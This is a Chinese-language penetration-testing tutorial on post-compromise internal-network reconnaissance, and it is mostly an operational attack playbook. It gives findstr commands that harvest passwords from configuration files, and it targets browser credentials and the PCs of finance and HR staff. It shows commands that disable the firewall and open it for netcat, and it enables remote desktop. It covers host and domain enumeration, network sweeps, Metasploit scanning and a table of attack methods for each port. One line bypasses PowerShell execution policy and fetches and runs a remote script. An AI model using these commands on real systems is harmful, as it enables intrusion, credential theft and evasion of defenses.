渗透测试-23:内网信息收集
内网信息收集的作用
可以通过信息收集判断当前设备的角色、当前网络的环境、当前所属的区域,绘制出大概的内网整体的拓扑结构图
区域:
普通办公区设备
DMZ区域的WEB服务器
内网普通WEB服务器
开发测试服务器
文件共享服务器
代理服务器
DNS服务器
核心业务系统服务器
设备信息:
设备提供服务
设备所处位置
设备主机名
设备内部文件
设备网络连接
设备关键信息
操作系统
系统版本
系统服务
系统端口
系统进程
系统补丁
内网IP地址段
系统权限
系统共享
网络连接
杀毒软件
用户角色
敏感信息收集
资料、文件和数据
数据和文件定位
定位内部人事组织架构
监视等重要人员
监视人员设备
人员存放文档的位置
列举文档服务器目录
核心业务机器
高级管理、人事、财务等个人电脑
产品管理系统服务器
办公系统服务器
财务应用系统服务器
核心产品源码服务器
数据库服务器
文件/共享服务器
电子邮件服务器
网络监控服务器
供应链服务器
敏感信息和文件
网站源码备份文件、数据库备份文件
各类数据库的WEB管理/后台入口
浏览器密码和浏览器Cookie
远程桌面连接
回收站
个人及服务器相关密码
无线密码
各类系统账号和密码等
浏览器浏览记录
应用与文件形式信息收集
- 拿下一台机器后要先维权,权限稳了再收集信息,信息收集一定要全面仔细,信息收集完了再搞内网
- 往目标主机中传工具用完就删
- 翻文件的话,可以使用一些搜索命令来快速寻找
# 指定目录下的文件中搜集各种账号密码:
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
前后端基本架构
渗透测试人员需要对目标网站的基本情况进行简单的判断,分析目标服务器所使用的web服务器、后端脚本、数据库、系统平台等
# 常见的web架构
ASP + Access + IIS 5.0/6.0 + Windows Server 2003
ASPX + MSSQL + IIS 7.0/7.5 + Windows Server 2008
PHP + MySQL + Apache
PHP + MySQL + IIS
PHP + MySQL + Nginx
JSP + MySQL + Nginx
JSP + MSSQL + Tomcat
JSP + Oracle + Tomcat
本机信息收集
Windows | Linux | |
---|---|---|
网络 | ipconfig /all | ifconfig |
操作系统 | - systeminfo | findstr OS - systeminfo | findstr "KB" - systeminf0 | findstr /B /C:"OS 名称" /C:"OS 版本" - echo %PROCESSOR_ARCHITECTURE% |
- uname –a - cat /proc/version |
软件及版本 | - wmic product get name,version - powershell "get-wmiobject -class win32_product | select-object -property name,version" |
- dpkg –l - dpkg –l <软件名称> |
服务 | - wmic service list brief - net start - 检测是否安装杀软:https://www.ddosi.org/av/1.php |
- service --status-all - service <服务名> status |
进程 | - tasklist - wmic process get name,processid |
- ps –aux - ps –ef - ps –aux | gerp ftp |
启动程序 | wmic startup get command,caption | dmesg |
计划任务 | - at - schtasks - net start - chcp 437 && schtasks /query /fo LIST /v > tasks.txt |
crontab -l |
开机时间 | net statistics workstation | - cat /proc/uptime - date -d "$(awk -F. '{print $1}' /proc/uptime) second ago" +"%Y-%m-%d %H:%M:%S" - cat /proc/uptime | awk -F. '{run_days=$1/86400)/3600;run_minute=($1 % 3600)/60;run_second=$1 % 60;printf("系统已运行:%d天%d时%d分%d秒",run_days,run_hour,run_minute,run_second)}' |
用户 | - 本机用户列表:net user - 本地管理员组信息:net localgroup administrators - 当前在线用户:query user |
- cat /etc/passwd - cat /etc/group |
会话 | net session | |
端口 | netstat –ano | netstat –antpl |
补丁 | - systeminfo - wmic qfe get Caption,Description,HotFixID,InstalledOn |
|
共享 | - net share - wmic share get name,path,status |
|
路由及ARP | - route print - arp -a |
- route - arp –a |
防火墙 | - 查看防火墙配置:netsh firewall show config - 关闭防火墙配置:netsh firewall set opmode disable - 关闭防火墙配置:netsh advfirewall set allprofiles state off - 允许指定程序全部链接:netsh firewall add allowedprogram c:\nc.exe "allow nc" enable - 允许指定程序入站:netsh advfirewall firewall add rule name= "pass nc" dir=in action=allow program="C:\nc.exe" - 允许指定程序出站:netsh advfirewall firewall add rule name= "out nc" dir=out action=allow program="C:\nc.exe" - 允许RDP(3389)端口放行:netsh advfirewall firewall add rule name= "Remote Desktop" protocol=TCP dir=in localport=3389 action=allow - 自定义防火墙日志的储存位置:netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log" |
|
代理 | - 代理配置:reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" | |
远程 | - 查看远程连接端口(16进制需要转成10进制):reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber - 查看远程桌面开启状态:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD - 打开远程桌面:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f - 关闭远程桌面:wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0 - 关闭远程桌面:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 1 /f |
|
权限及SID | whoami /all | whoami |
自动收集信息
为了简化操作,可以创建一个脚本, 在目标机器上完成流程、服务、用户账号、用户组、网时区等信息的查询工作。
利用 WMIC 进行信息收集:创建 wmic.bat 文件
写入如下内容,运行后生成 .html 文件
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> sysinfo.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> sysinfo.html
wmic USERACCOUNT list full /format:"%var%" >> sysinfo.html
wmic group list full /format:"%var%" >> sysinfo.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> sysinfo.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> sysinfo.html
wmic netuse list full /format:"%var%" >> sysinfo.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> sysinfo.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> sysinfo.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> sysinfo.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> sysinfo.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> sysinfo.html
域内信息收集
描述 | 命令 |
---|---|
查询域名 | ipconfig /all |
查询DNS的记录 | nslookup <域名> |
存在用户 | dsquery user |
域内用户详细信息 | wmic useraccount get /all |
判断主域控 | netdom query pdc |
用时间服务器判断主域 | net time /domain |
当前登录域及用户信息 | net config workstation |
查询域 | net view /domain |
域内所有计算机 | net view /domain:<域名> |
所有域用户列表 | net user /domain |
本地管理员组用户 | net localgroup administrators |
查询域内所有用户 | net group /domain |
域管理员列表 | net group "domain admins" /domain |
企业管理员列表 | net group "Enterprise admins" /domain |
域成员计算机列表 | net group "domain computers" /domain |
域控列表 | net group "domain controllers" /domain |
域密码策略信息 | net accounts /domain |
域信任信息 | nltest /domain_trusts |
域控主机名 | nltest /DCLIST:<域名> |
域管理进程 | tasklist -v |
域内活跃主机探测
NetBIOS扫描
- NetBIOS(Network Basic Input/Output System)即网络基本输入/输出系统协议
- NetBIOS 协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,几乎所有的局域网都是在 NetBIOS 协议的基础上工作的
- nbtscan.exe 是一个命令行工具,可以扫描本地或者远程网路上开放的 NetBIOS 名称服务,可以获取对应的域名信息
- 某些版本的 windows 操作系统允许用户通过 NetBOIS 查询已登录用户,可用通过脚本扫描远程系统活跃域中的管理会话
nbtscan.exe -h
nbtscan.exe -m <xxx.xxx.xxx.0>/24
# 扫描远程系统的 NetBOIS 信息
for /F %i in (ips.txt) do @echo [+]Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && for /F %n in (names.txt) do @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
ICMP扫描
ICMP 协议全称为 Internet Control Message Protocol (Internet控制报文协议),依次对内网中的每个 IP 地址执行 ping 命令,可以快速找到内网中全部存活的主机
for /L %I in (1,1,254) Do @ping -w 1 -n 1 <xxx.xxx.xxx>.%I | findstr "TTL="
ARP扫描
地址解析协议,即 ARP(Address Resolution Protocol),是根据 IP 地址获取物理地址的一个 CP/IP 协议。主机发送信息时将包含目标 IP 地址的 ARP 请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址
arp-scan.exe -t <xxx.xxx.xxx.0>/24
Nishang脚本
项目地址:https://github.com/samratashok/nishang
powershell -exec bypass -Command "& {Import-Module C:\Users\Administrator\Desktop\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.253.0/24}"
域内端口扫描
Metasploit
# 进入 msf 命令行
msfconsole
# 搜索端口扫描模块
search portscan
# 使用TCP扫描模块
use auxiliary/scanner/portscan/tcp
# 查看需要设置的参数
show options
# 设置扫描目标的IP
set rhosts <目标IP>
# 设置要扫描的端口
set ports <端口1>,<端口2>,<端口3>,...
# 开始扫描
run
banner信息
常需扫描的端口有:22,80-89,110,389,1099,1433,2059,6379,7001,8080,1521,3306,3389,5432,53,161,137,139
端口 | 服务 | 入侵方式 |
---|---|---|
21 | ftp/tftp/vsftpd文件传输协议 | 爆破/嗅探/溢出/后门 |
22 | ssh远程连接 | 爆破/openssh漏洞 |
23 | Telnet远程连接 | 爆破/嗅探/弱口令 |
25 | SMTP邮件服务 | 邮件伪造 |
53 | DNS域名解析系统 | 域传送/劫持/缓存投毒/欺骗 |
67/68 | DHCP服务 | 劫持/欺骗 |
110 | pop3 | 爆破/嗅探 |
139 | Samba服务 | 爆破/未授权访问/远程命令执行 |
143 | Imap协议 | 爆破 |
161 | SNMP协议 | 爆破/搜集目标内网信息 |
389 | Ldap目录访问协议 | 注入/未授权访问/弱口令 |
445 | smb | ms17-010/端口移出 |
512/513/514 | Linux Rexec服务 | 爆破/Rlogin登录 |
873 | Rsync服务 | 文件上传/未授权访问 |
1080 | socket | 爆破 |
1352 | Lotus domino邮件服务 | 爆破/信息泄露 |
1433 | mssql | 爆破/注入/SA弱口令 |
1521 | oracle | 爆破/注入/TNS爆破/反弹shell |
2049 | Nfs服务 | 配置不当 |
2181 | zookeeper服务 | 未授权访问 |
2375 | docker remote api | 未授权访问 |
3306 | mysql | 爆破/注入 |
3389 | Rdp远程桌面链接 | 爆破/shift后门 |
4848 | GlassFish控制台 | 爆破/认证绕过 |
5000 | sybase/DB2数据库 | 爆破/注入/提权 |
5432 | postgresql | 爆破/注入/缓冲区溢出 |
5632 | pcanywhere服务 | 抓密码/代码执行 |
5900 | vnc | 爆破/认证绕过 |
6379 | Redis数据库 | 未授权访问/爆破 |
7001/7002 | weblogic | java反序列化/控制台弱口令 |
80/443 | http/https | web应用漏洞/心脏滴血 |
8069 | zabbix服务 | 远程命令执行/注入 |
8161 | activemq | 弱口令/写文件 |
8080/8089 | Jboss/Tomcat/Resin | 爆破/PUT文件上传/反序列化 |
8083/8086 | influxDB | 未授权访问 |
9000 | fastcgi | 远程命令执行 |
9090 | Websphere控制台 | 爆破/java反序列化/弱口令 |
9200/9300 | elasticsearch | 远程代码执行 |
11211 | memcached | 未授权访问 |
27017/27018 | mongodb | 未授权访问/爆破 |
定位域管理员
psloggedon
-
在 Windows 上可以执行 net session 来查看谁使用了本机资源,但是没有命令可用来查看谁在使用了远程计算机资源,谁登陆了远程计算机资源,使用 psloggedon 可以解决这一问题。
-
地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
-
用法:
psloggedon [- ] [-l] [-x] [\\computername | username]
PVEFindADUser
-
用于查找活动目录用户登录位置,枚举域用户,查找在特定计算机上登录的用户,包括本地用户,通过RDP登录的用户,用于运行服务和计划任务的用户。运行该工具需要 .NET Framework2.0 环境,并且具备管理员权限。
-
用法:
PVEFindADUser.exe -current
netview
-
使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登录会话,利用 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登录的用户。大部分功能不需要管理员权限。
PowerView(常用)
- powerView.ps1 是一款依赖 powershell 和 wmi 对内网进行查询的常用渗透测试脚本,集成在 powersploit 工具包中,是一个收集域信息很好用的脚本。
- 地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
PowerShell收集信息
PowerShell是微软推出的一款满足管理员对操作系统及应用程序扩展需求的一个脚本环境,是cmd.exe的加强版
4种执行权限
- Restricted - 默认的设置,不允许任何script运行
- AllSigned - 只能运行经过数字证书签名的script
- RemoteSigned - 本地脚本不做限制,网络上下载的script就必须要有数字签名
- Unrestricted - 允许所有的script运行,权限最高
脚本地址:https://github.com/PowerShellEmpire/PowerTools
# 查看当前权限
Get-ExecutionPolicy
# 修改权限
Set-ExecutionPolicy <Unrestricted>
# 导入脚本
Import-Module <powerview.ps1>
# 绕过权限
powershell -exec bypass "import-module ./<powerview.ps1>;<命令>"
powershell -exec bypass -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<远程IP>/<powerview.ps1>');<命令>"
PowerView
PowerView 是一款依赖 Powershell 和 WMI 对内网进行查询的渗透测试脚本
常用命令
命令 | 描述 |
---|---|
Get-NetDomain | 获取当前用户所在域的名称 |
Get-NetUser | 获取所有用户的详细信息 |
Get-NetDomainController | 获取所有域控制器的信息 |
Get-NetComputer | 获取域内所有机器的详细信息 |
Get-NetPrinter | 获取域中所有当前计算机对象的数组 |
Get-NetOU | 获取域内的OU信息 |
Get-NetGroup | 获取所有域内组和组成员的信息 |
Get-NetGroupMember | 获取指定域组中所有当前用户的列表 |
Get-NetFileServer | 根据SPN获取当前域使用的文件服务器信息 |
Get-NetShare | 获取当前域内所有的网络共享信息 |
Get-DFSshare | 获取域上所有分发文件系统共享的列表 |
Get-NetSubnet | 获取域的其他网段 |
Get-NetSite | 获取域内的当前站点 |
Get-NetDomainTrust | 获取当前用户域的所有信任 |
Get-NetForestTrust | 获取与当前用户的域关联的林的所有信任 |
Find-ForeignUser | 枚举在其主域之外的组中的用户 |
Find-ForeignGroup | 枚举域组的所有成员并查找查询域之外的用户 |
Invoke-MapDomainTrust | 尝试构建所有域信任的关系映射 |
Get-NetLoggedon | 获取主动登录到指定服务器的用户 |
Get-NetLocalGroup | 获取一个或多个远程主机上本地组的成员 |
Get-NetSession | 获取指定服务器的会话 |
Get-NetRDPSession | 获取指定服务器的远程连接 |
Get-NetProcess | 获取远程主机的进程 |
Get-UserEvent | 获取指定用户的日志 |
Get-ADObject | 获取活动目录的对象 |
Get-NetGPO | 获取域内所有的组策略对象 |
Get-NetGPOGroup | 获取域中设置”受限组”的所有GPO |
Find-GPOLocation | 获取用户/组,并通过GPO枚举和关联使其具有有效权限的计算机 |
Find-GPOComputerAdmin | 获取计算机并通过GPO枚举确定谁对其具有管理权限 |
Get-DomainPolicy | 获取域默认策略或域控制器策略 |
Get-DomainSID | 返回指定域的SID |
Invoke-UserHunter | 获取域用户登录的计算机信息及该用户是否有本地管理员权限 |
Invoke-ProcessHunter | 通过查询域内所有的机器进程找到特定用户 |
Invoke-UserEventHunter | 根据用户日志查询某域用户登陆过哪些域机器 |
Invoke-ShareFinder | 在本地域中的主机上查找(非标准)共享 |
Invoke-FileFinder | 在本地域中的主机上查找潜在的敏感文件 |
Find-LocalAdminAccess | 在域上查找当前用户具有本地管理员访问权限的计算机 |
Find-ManagedSecurityGroups | 搜索受管理的活动目录安全组并标识对其具有写访问权限的用户,即这些组拥有添加或删除成员的能力 |
Get-ExploitableSystem | 发现系统可能易受常见攻击 |
Invoke-EnumerateLocalAdmin | 枚举域中所有计算机上本地管理员组的成员 |